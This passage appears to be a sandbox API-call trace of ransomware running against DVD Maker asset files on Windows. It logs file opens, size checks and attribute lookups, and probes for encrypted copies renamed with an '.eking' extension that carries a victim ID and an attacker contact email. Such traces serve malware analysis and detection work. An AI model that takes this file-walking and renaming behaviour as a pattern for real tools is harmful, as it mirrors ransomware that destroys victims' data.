(lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png")) returned 0x20 [0182.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png")) returned 0x20 [0182.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.476] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=4422) returned 1 [0182.476] CloseHandle (hObject=0x1e0) returned 1 [0182.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png")) returned 0x20 [0182.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png")) returned 0x20 [0182.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.476] SetEvent (hEvent=0x174) returned 1 [0182.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.477] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=7888) returned 1 [0182.477] CloseHandle (hObject=0x1e0) returned 1 [0182.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png")) returned 0x20 [0182.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png")) returned 0x20 [0182.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.479] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=16842) returned 1 [0182.479] CloseHandle (hObject=0x1e0) returned 1 [0182.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png")) returned 0x20 [0182.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png")) returned 0x20 [0182.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.482] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=253226) returned 1 [0182.482] CloseHandle (hObject=0x1e0) returned 1 [0182.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv")) returned 0x20 [0182.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv")) returned 0x20 [0182.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.485] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=261220) returned 1 [0182.485] CloseHandle (hObject=0x1e0) returned 1 [0182.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv")) returned 0x20 [0182.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv")) returned 0x20 [0182.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.486] SetEvent (hEvent=0x174) returned 1 [0182.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.487] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=797322) returned 1 [0182.487] CloseHandle (hObject=0x1e0) returned 1 [0182.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv")) returned 0x20 [0182.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv")) returned 0x20 [0182.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.488] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=869322) returned 1 [0182.488] CloseHandle (hObject=0x1e0) returned 1 [0182.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv")) returned 0x20 [0182.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv")) returned 0x20 [0182.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.489] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=933322) returned 1 [0182.489] CloseHandle (hObject=0x1e0) returned 1 [0182.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv")) returned 0x20 [0182.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv")) returned 0x20 [0182.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.490] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.490] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.788] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=989322) returned 1 [0182.788] CloseHandle (hObject=0x1e0) returned 1 [0182.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv")) returned 0x20 [0182.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv")) returned 0x20 [0182.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.790] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5025) returned 1 [0182.790] CloseHandle (hObject=0x1e0) returned 1 [0182.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png")) returned 0x20 [0182.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png")) returned 0x20 [0182.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.792] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3118) returned 1 [0182.792] CloseHandle (hObject=0x1e0) returned 1 [0182.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png")) returned 0x20 [0182.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png")) returned 0x20 [0182.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.794] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=4955) returned 1 [0182.794] CloseHandle (hObject=0x1e0) returned 1 [0182.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png")) returned 0x20 [0182.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png")) returned 0x20 [0182.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.795] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3081) returned 1 [0182.795] CloseHandle (hObject=0x1e0) returned 1 [0182.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png")) returned 0x20 [0182.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png")) returned 0x20 [0182.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.796] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.796] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0183.058] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=24852) returned 1 [0183.058] CloseHandle (hObject=0x1e8) returned 1 [0183.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png")) returned 0x20 [0183.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png")) returned 0x20 [0183.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff 